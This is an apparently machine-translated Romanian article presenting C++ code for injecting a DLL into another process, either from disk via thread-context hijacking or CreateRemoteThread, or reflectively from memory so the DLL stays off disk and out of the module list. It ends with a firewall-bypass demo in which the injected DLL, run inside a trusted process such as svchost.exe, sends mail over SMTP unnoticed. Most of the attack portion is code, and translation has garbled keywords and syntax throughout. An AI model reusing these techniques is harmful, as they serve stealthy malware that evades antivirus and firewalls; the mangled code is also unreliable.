O metodă îmbunătățită pentru dll implementare

DLL injecție oricum (de obicei, în legătură cu interceptarea API) a dedicat un număr mare de articole. Dar nici unul dintre cei care l-am citit, nu spune cum să pună în aplicare acest DLL într-un proces rapid străin, și anume nu este stocat pe disc în sine un fișier DLL, și le direct în memorie termeni.

De ce să utilizați un DLL?

Cerințele de bază la codul introdus:

Să presupunem că avem nevoie pentru a utiliza codul în funcția de punere în aplicare a Wsock32.dll și kernel32.dll. Noi folosim următorul cod:

if (! GetModuleHandle ( «Wsock32.dll»))
LoadLibrary ( «Wsock32.dll»);
if (! GetModuleHandle ( «kernel32.dll»))
LoadLibrary ( «kernel32.dll»);

DLL pentru punerea în aplicare de către ambele metode (externe și interne DLL DLL) am scris clasa CInjectDllEx. Această clasă cuprinde toate procedurile necesare pentru locul de muncă. Pentru a-l utiliza, pur și simplu apel de procedură StartAndInject:

BOOL StartAndInject (
LPSTR lpszProcessPath,
BOOL bDllInMemory,
LPVOID lpDllBuff,
LPSTR lpszDllPath,
BOOL bReturnResult,
DWORD * dwResult);

[În] lpszProcessPath - Calea către programul pe care doriți să rulați și care codul dll va fi pus în aplicare.

[În] bDllInMemory - lpszDllPath argument folosit - Dacă acest parametru este TRUE, argumentul lpDllBuff utilizat în mod diferit.

[In] lpDllBuff - pointer la un conținut de memorie dll. Trebuie să fie NULL, un bDllInMemory dacă parametrul este FALSE.

[În] lpszDllPath - calea completă către dll introdus. Trebuie să fie NULL, un bDllInMemory dacă parametrul este setat la TRUE.

[În] bReturnResult - Dacă acest parametru este TRUE, opțiunea dwResult este utilizată, în caz contrar nu este utilizat și trebuie să fie nulă.

[Out] dwResult - pointer la variabila unde este stocat codul de finalizare, transmis în funcția ExitProcess Dll. Trebuie să fie NULL, un bReturnResult daca este FALSE.

Întoarcere valori:
Această procedură returnează TRUE, dacă reușit introducerea în procesul de cod dll. În caz contrar, returnează FALSE.

Punerea în aplicare a DLL, situat pe disc

Foarte convenabil și metodă eficientă pentru introducerea unui cod străin de DLL, dar această metodă are unele dezavantaje, deoarece este necesar pentru a stoca DLL pe disc și de a încărca un DLL suplimentar ușor de a găsi programe, cum ar fi PE-Tools. De asemenea, la un DLL suplimentar poate plăti antivirus și firewall-uri atenție (de exemplu, Outpost Fierwall), care este, de asemenea, de dorit.

Acest cod vă permite să pună în aplicare un DLL extern într-un alt proces:

BOOL CInjectDllEx :: InjectDllFromFile (PCHAR ModulePath)
ambalaj #pragma (1)
struct
BYTE PushCommand;
DWORD PushArgument;
WORD CallCommand;
DWORD CallAddr;
BYTE PushExitThread;
DWORD ExitThreadArg;
WORD CallExitThread;
DWORD CallExitThreadAddr;
LPVOID AddrLoadLibrary;
LPVOID AddrExitThread;
CHAR LibraryName [MAX_PATH + 1];
> Se injectează;
pack #pragma ()

// Ia contextul actual al procesului firului primar
Context context;
Context.ContextFlags = CONTEXT_FULL;
BOOL bResumed = FALSE;
în cazul în care (GetThreadContext (fir, # 038; Context))
// schimba contextul, astfel încât codul nostru este executat
Context.Eip = Cod;
în cazul în care (SetThreadContext (fir, # 038; Context))
// Începe firul
! BResumed = ResumeThread (fir) = (DWORD) -1;
if (bResumed)
WaitForSingleObject (Subiect, INFINITE);
>
>
if (! bResumed)
// Pornește codul mașină
MÂNER hThread = CreateRemoteThread (Process, 0,0, (LPTHREAD_START_ROUTINE) Memorie, 0,0,0);
if (! hThread)
return false;
WaitForSingleObject (hThread, INFINITE);
CloseHandle (hThread);
>
return true;
>

Singurul argument al acestei funcții - modul de a fi puse în aplicare
DLL. Funcția returnează TRUE, în cazul în care codul DLL a fost pus în aplicare și se execută în procesul de țintă. În caz contrar - FALS.

Vă rugăm să rețineți că această funcție încearcă mai întâi pentru a începe un flux de la distanță fără a apela CreateRemoteThread folosind GetThreadContext, funcții SetThreadContext. Pentru a face acest lucru, vom obține un mâner la procesul de firul inițial, și apoi a obține contextul firului (GetThreadContext), să modifice conținutul registrului PEI, astfel încât acesta a indicat codul nostru injectat, și apoi executați firul (ResumeThread). Dacă nu puteți rula cod de la distanță această metodă, pur și simplu numit CreateRemoteThread.

Punerea în aplicare a DLL, o în memorie

Există o metodă pentru a încărca DLL într-un alt mod discret proces. Pentru a face acest lucru, trebuie să implementați în imaginea de proces a DLL, și apoi înființat masa ei de importuri și relocări, iar apoi efectuați punctul de intrare. Această metodă vă permite să stocați DLL nu este pe disc, și să desfășoare acțiuni de ea exclusiv în memorie, iar acest DLL nu va fi vizibil în lista procesului de module încărcate, și nu acorde atenție la firewall-ul:

BOOL CInjectDllEx :: InjectDllFromMemory (LPVOID Src)
#ifndef NDEBUG
return false;
# endif
ImageNtHeaders = PIMAGE_NT_HEADERS (DWORD (Src) + DWORD (PIMAGE_DOS_HEADER (Src) -> e_lfanew));
DWORD Offset = 0x10000000;
LPVOID pModule;
face
Offset + = 0x10000;
pModule = VirtualAlloc (LPVOID (ImageNtHeaders-> OptionalHeader.ImageBase +
Offset), ImageNtHeaders-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (pModule)
VirtualFree (pModule, 0, MEM_RELEASE);
pModule = VirtualAllocEx (Process, LPVOID (ImageNtHeaders-> OptionalHeader.ImageBase +
Offset), ImageNtHeaders-> OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
>
> În timp ce ((pModule || Offset> 0x30000000)!);

MapLibrary (pModule, Src);
if (! _ ImageBase)
return false;

TDllLoadInfo DllLoadInfo;
DllLoadInfo.Module = _ImageBase;
DllLoadInfo.EntryPoint = _DllProcAddress;

WriteProcessMemory (Process, pModule, _ImageBase, _ImageSize, 0);
MÂNER hThread = InjectThread (DllEntryPoint, # 038; DllLoadInfo, sizeof (DllLoadInfo));
if (hThread)
WaitForSingleObject (hThread, INFINITE);
CloseHandle (hThread);
return true;
>
return false;
>

Funcții care nu sunt descrise aici, poate fi găsit atașat la dosarul articolului.

Ocolirea firewall ca un exemplu de aplicare a implementării DLL îmbunătățit

// Reducerea dimensiunii bibliotecii
# ifdef NDEBUG
#pragma optimizarea ( «gsy», nn)
#pragma comentariu (agent de legătură, »/ IGNORE: 4078" )
#pragma comentariu (agent de legătură, »/ RELEASE»)
#pragma comment (linker, »/ îmbinare: .rdata = .data»)
#pragma comment (linker, »/ îmbinare: .text = .data»)
#pragma comment (linker, »/ îmbinare: .reloc = .data»)
#if _MSC_VER> = 1000
#pragma comentariu (agent de legătură, »/ FILEALIGN: 0x200" )
# endif
#pragma comentariu (agent de legătură, »/ intrare: DllMain»)
# endif

// ieși din program
VOID ExitThisDll (SOCKET s, BOOL bNoError)
closesocket (s);
WSACleanup ();
ExitProcess (bNoError);
>

// Trimite cerere către server
VOID SendRequest (SOCKET s, LPCSTR tszRequest)
în cazul în care (trimite (s, tszRequest, lstrlen (tszRequest), 0) == SOCKET_ERROR)
ExitThisDll (s, FALSE);
>

// obține răspunsul de la server
ReceiveAnswer VOID (SOCKET s, LPSTR tszAnswer)
ZeroMemory (tszAnswer, 512);
if (recv (s, tszAnswer, 512,0) == SOCKET_ERROR)
ExitThisDll (s, FALSE);
if (! ((tszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '2' # 038; # 038; tszAnswer [2] == '0') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '0') || (TszAnswer [0] == '3' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '4') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '2' # 038; # 038; tszAnswer [2] == '1') || (TszAnswer [0] == '2' # 038; # 038; tszAnswer [1] == '5' # 038; # 038; tszAnswer [2] == '0')))
ExitThisDll (s, FALSE);
>

// Punct de intrare
VOID WinAPI DllMain (HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
if (! GetModuleHandle ( «Wsock32.dll»))
LoadLibrary ( «Wsock32.dll»);
if (! GetModuleHandle ( «kernel32.dll»))
LoadLibrary ( «kernel32.dll»);

WSAData WSAData;
WSAStartup (MAKEWORD (1,1), # 038; WSAData);

SOCKET s = soclu (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == INVALID_SOCKET)
WSACleanup ();
ExitProcess (FALSE);
>

PHOSTENT pHostEnt = gethostbyname ( «smtp.mail.ru»);
if (! pHostEnt)
ExitThisDll (s, FALSE);

struct sockaddr_in entAddr;
memmove (# 038; entAddr.sin_addr.s_addr, * pHostEnt-> h_addr_list, PCHAR sizeof);
entAddr.sin_family = AF_INET;
entAddr.sin_port = htons (25);
în cazul în care (conectați (s, (struct sockaddr *) # 038; entAddr, sizeof entAddr) == INVALID_SOCKET)
ExitThisDll (s, FALSE);

CHAR tszRequestAnswer [512] = "";
ReceiveAnswer (s, tszRequestAnswer);

// trimite salutări la server
SendRequest (s, »helo prietenul \ r \ n»);
// Ia-Salutări de la serverul
ReceiveAnswer (s, tszRequestAnswer);

// server gata să primească date
SendRequest (s, »date \ r \ n»);
// server de rapoarte de disponibilitatea sa
ReceiveAnswer (s, tszRequestAnswer);

// Completați „Unde“
lstrcpy (tszRequestAnswer, »Către:«);
lstrcat (tszRequestAnswer, lpszRecipientAddress);
lstrcat (tszRequestAnswer, »\ r \ n»);
SendRequest (s, tszRequestAnswer);

// Completați „De la“
SendRequest (s, »De la: [email protected] \ r \ n»);

// Subiect
SendRequest (s, »Subiect: Test din articolul \ r \ n»);
SendRequest (s, »Content-Type: text / plain; \ r \ n charset = \» Windows 1251 \ »; \ r \ n \ r \ n»);

// de încheiere a
SendRequest (s, »\ r \ n \ r \ n».);
ReceiveAnswer (s, tszRequestAnswer);

// Exit
SendRequest (s, »iesi \ r \ n»);
// Confirmați (OK)
ReceiveAnswer (s, tszRequestAnswer);
ExitThisDll (s, TRUE);
>

Prin implementarea acestui cod într-un proces de încredere, firewall-ul detectează faptul că mesajul a fost trimis, dar nu va emite nici un avertismente. În cele mai multe cazuri, un proces de încredere este un standard svchost.exe proces de sistem de firewall. Noi le folosim:

int APIENTRY WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
CIDE CInjectDllEx;
DWORD dwResult = FALSE;

Aici a introdus primul DLL, situat pe disc, și apoi - în memorie.
În cazul introducerii de memorie, DLL este o resursă de punere în aplicare a programului.

Arhiva de (test_and_sources.zip) este testul de clasă CInjectDllEx DLL și un program de punere în aplicare a prezentei
DLL.

Arată acest articol unui prieten: